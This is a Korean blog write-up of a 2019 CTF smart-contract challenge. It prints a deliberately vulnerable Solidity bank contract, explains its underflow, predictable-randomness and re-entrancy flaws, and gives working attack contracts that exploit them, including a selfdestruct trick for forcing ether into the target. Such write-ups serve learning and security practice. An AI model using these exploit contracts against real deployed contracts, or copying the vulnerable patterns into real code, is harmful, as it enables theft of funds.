dvp 2019 monica's bank
이 문제는 취약점은 대회 시작하고 5분만에 다찾았는데 remix
오류로 코드가 deploy
가 안돼서 이 오류로만 3시간을 보냈던 문제다..
결국 대회 당시 이 문제를 풀지 못했다.. 정말 분했다 ㅠ 대회가 끝나고 문제의 출제자인 xiao yu
에게 물어보니 그냥 새로고침하면 해결되는 문제였었다.
참고로, xiao yu
는 realworld ctf
의 organizer
이다!
realworld ctf
에서 arcorada monica
문제를 풀었던 적이 있어서 컨퍼런스 패널 토론이 끝나자마자 가서 인사를 건넸는데, 정말 신기했다.
이 대회의 스마트 컨트랙트 문제는 모두 xiao yu
가 writer
인데, 두 문제 모두 이름에 monica
가 들어간다. 이쯤되면 monica
가 누군지 궁금하지만 물어보진 못했다..
결국 문제는 풀지 못했고 입상도 못했지만 나 자신을 refresh
시키기에 정말 좋은 대회였다고 생각한다!
서론이 길었는데, 문제의 내용은 다음과 같다.
(정확한 decription
이 아님, 생각나는 것만 쓴 것)
win() 함수를 불러 SendFlag 이벤트를 발생시켜라!
그러면 백그라운드 서버에서 이벤트를 받아 당신의 지갑으로 트랜잭션을 보낼 것이다.
이 안에 로우 데이타 상태인 플래그가 존재하며 이를 decryptflag.js를 이용하여 복호화시키면 플래그가 나올 것이다!
위 문제에서 사용된 컨트랙트는 이미 파기되어서 아래 코드를 이용하여 remix
의 Injected Web3
환경에서 테스트를 해봅시다!
xpragma solidity ^0.4.25;
contract MonicaBank {
mapping(address => uint) public balanceOf;
mapping(address => uint) public creditOf;
address owner;
constructor()public{
owner = msg.sender;
}
event SendFlag(address, uint256);
function win() public {
require(creditOf[msg.sender] >= 10000);
msg.sender.call.value(address(this).balance)();
emit SendFlag(msg.sender, 0);
}
function transferBalance(address to, uint amount) public{
require(balanceOf[msg.sender] - amount >= 0); // balance underflow
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
}
function guessRandom(uint256 guess) internal view returns(bool){ // guess good
uint256 seed = uint256(blockhash(block.number));
uint256 rand = seed / 0x496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29;
return rand == guess;
}
function buyCredit(uint256 guess) public { // buy Credit !
require(guessRandom(guess));
require(balanceOf[msg.sender] >= 10000);
require(creditOf[msg.sender] == 0);
creditOf[msg.sender] = 1;
balanceOf[msg.sender] -= 10000;
}
function withdrawCredit(uint amount) public{ // withdraw credit re-entrancy
require(creditOf[msg.sender] >= amount);
msg.sender.call.value(amount*1000000000)();
creditOf[msg.sender] -= amount;
}
function getEthBalance() public view returns(uint256){ // getEth
return address(this).balance;
}
function kill(address t) public { // kill contract
require(msg.sender == owner);
selfdestruct(t);
}
}
이미 주석으로 취약점들을 모두 설명해놨는데, 일단 무시하고 컨트랙트를 배포하자.
일단 win()
함수를 불러야하니 이를 확인해보자.
creditOf[msg.sender]
가 10000 이상이어야 한다.
이 조건을 만족시키기 위해 creditOf
변수와 관련된 함수들을 살펴보자.
buyCredit
함수로 크레딧을 살 수 있는데 guessRandom
함수와 balanceOf
의 값 체크를 넘어가야 한다.
그리고 밑에 withdrawCredt
함수를 살펴보면, require
문이 creditOf[msg.sender] -= amount
문보다 위에 존재하여 re-entrancy DAO
취약점이 발생한다.
취약점 설명은 다른 블로그에 많으므로 넘어가도록 한다!
그렇다면, re-entrancy
를 이용하여 credit
에 underflow
를 낼 수 있다는 것을 알았으니 이제 withdrawCredit
의 require
문을 통과하기 위해 buyCredit
을 실행시켜 크레딧을 구매해야 한다.
이를 위해 buyCredit
의 require
문을 통과해보자!
일단 guessRandom
함수이다.
블록체인상에서는 난수를 다루기 어렵다.
그 이유도 다른 블로그를 참고하도록 한다!
때문에 컨트랙트를 하나 만들어 guess
값을 미리 추측하고, 그 인자로 guessRandom
함수를 부른다면, require
문을 통과할 수 있을 것이다.
이를 통과하는 나의 컨트랙트 코드는 아래와 같다.
xxxxxxxxxx
function buyCredit() public {
uint256 seed = uint256(blockhash(block.number));
uint256 rand = seed / 0x496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29;
re.buyCredit(rand);
}
그리고, balanceOf
의 값을 10000
이상으로 만들기 위해 이와 관련된 함수를 찾아보자.
transferBalance
함수가 존재하는데, 여기서 underflow
가 발생한다!
balanceOf[msg.sender] - amount >= 0
이 문장은 항상 참이 된다. 음수값이 되었을 때는 언더플로우가 일어나기 때문이다!
때문에 그 밑에 balanceOf[msg.sender] -= amount
을 통해 balance
의 값을 무지막지하게 늘릴 수 있다.
자 그럼 credit
을 늘리기 위한 모든 정보를 수집했으니 공격을 위한 컨트랙트를 작성해보자!
xpragma solidity ^0.4.25;
contract MonicaBank {
function withdrawCredit(uint256) public;
function buyCredit(uint256) public;
}
contract Attack {
address target;
address owner;
MonicaBank re;
function Attack(address _target) public {
target = _target;
owner = msg.sender;
re = MonicaBank(target);
}
function buyCredit() public {
uint256 seed = uint256(blockhash(block.number));
uint256 rand = seed / 0x496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29;
re.buyCredit(rand);
}
function attack() public payable{
re.withdrawCredit(1);
}
function() public payable {
re.withdrawCredit(1);
}
function ethBalance(address _who) public view returns(uint) {
return _who.balance;
}
function kill() public {
require(msg.sender == owner);
selfdestruct(owner);
}
}
remix
창에서 transferBalance
를 통해 Attack
컨트랙트의 balanceOf
를 언더플로우 내주고, buyCredit
을 실행시킨 후 attack
함수를 실행시키면 된다.
각 함수의 내용을 설명해보면
Attack(address _target): 생성자, 타겟 컨트랙트(monica's bank)의 주소 저장
buyCredit(): 난수 예측 후 타겟 컨트랙트의 buyCredit함수 호출
attack(), fallback: re-entrancy 공격을 위함
kill(): 페이로드가 새어나감을 막기 위한 selfdestruct 명령
자, 위 시나리오대로 공격을 해보면 공격이 안된다!
이는 여기서 나오는 re-entrancy
공격이 평범한 공격이 아니기 때문이다..
위 시나리오대로 공격을 하면 msg.sender.call.value(amount*100000000)();
는 여러번 실행되지만, creditOf[msg.sender] -= amount
는 한 번만 실행된다.
이는 require
문이 creditOf
의 조건을 검사할 동안 msg.sender.call.value(amount*100000000)();
만 주구장창 실행시키기 때문이다.
이를 해결하기 위해서는 only 2-times re-entrancy
공격을 진행하면 된다!
이를 구현한 페이로드는 다음과 같다.
toggle
이라는 storage
변수를 만들었고, fallback
함수를 바꾸었다.
xxxxxxxxxx
pragma solidity ^0.4.25;
contract MonicaBank {
function withdrawCredit(uint256) public;
function buyCredit(uint256) public;
}
contract Attack {
address target;
address owner;
bool public toggle=true;
MonicaBank re;
function Attack(address _target) public {
target = _target;
owner = msg.sender;
re = MonicaBank(target);
}
function buyCredit() public {
uint256 seed = uint256(blockhash(block.number));
uint256 rand = seed / 0x496e74726f206c6576656c2c20666f72207369676e2d7570206f6e6c79203a29;
re.buyCredit(rand);
}
function attack() public payable{
re.withdrawCredit(1);
}
function() public payable {
if(toggle){
toggle = false;
re.withdrawCredit(1);
}
}
function ethBalance(address _who) public view returns(uint) {
return _who.balance;
}
function kill() public {
require(msg.sender == owner);
selfdestruct(owner);
}
}
그리고, 원래 짯던 시나리오대로 공격을 하는데, 마지막으로 유의할 점은 msg.sender.call.value(amount*1000000000)();
에서 amount*1000000000
만큼 값을 전송하므로 bank
컨트랙트에 2 이더를 전송해야 한다.
정상적으로 이더를 보낼 수 없는데, 이런 경우 어떻게 값을 보내야 할까? 답은 selfdestruct
이다.
이 명령은 자신의 컨트랙트를 파기하고 존재하는 이더를 모두 target
으로 넘긴다!
xxxxxxxxxx
pragma solidity ^0.4.18;
contract Self {
function() payable {
}
function go(address target) {
selfdestruct(target);
}
}
위 코드를 사용하여 bank
컨트랙트에 2 이더를 강제로 넘기자!
참고로, re-entrancy
공격을 진행할 때는, 가스를 듬뿍 주고 실행시켜야 공격에 성공한다.
공격을 성공시킨 후 bank
컨트랙트의 creditOf
함수를 이용하여 credit
을 조회해 보면 짜잔!
언더플로우를 일으켰다!
지금은 web3 based background server
가 존재하지 않기 때문에 SendFlag
이벤트를 발생시켜도 뭐 없지만 실제 서버였으면 이제 이벤트를 실행시키고 트랜잭션을 받아오면 끝이다.
이 문제밖에 보지 못했었지만 처음으로 나가보는 블록체인 대회였고, 블록체인 공부도 처음이었어서 굉장히 좋은 경험을 할 수 있었다.! (그대신 시험은 망했음 ㅋㅋ)
'system > writeup' 카테고리의 다른 글
2019 seccon monoid_operator (0) | 2019.10.27 |
---|---|
holyshield 2019 masked_calculator (0) | 2019.10.27 |
root-me mips stack buffer overflow (0) | 2019.08.12 |
2019 securinet baby_two (0) | 2019.03.25 |
2019 utctf jendy's (0) | 2019.03.17 |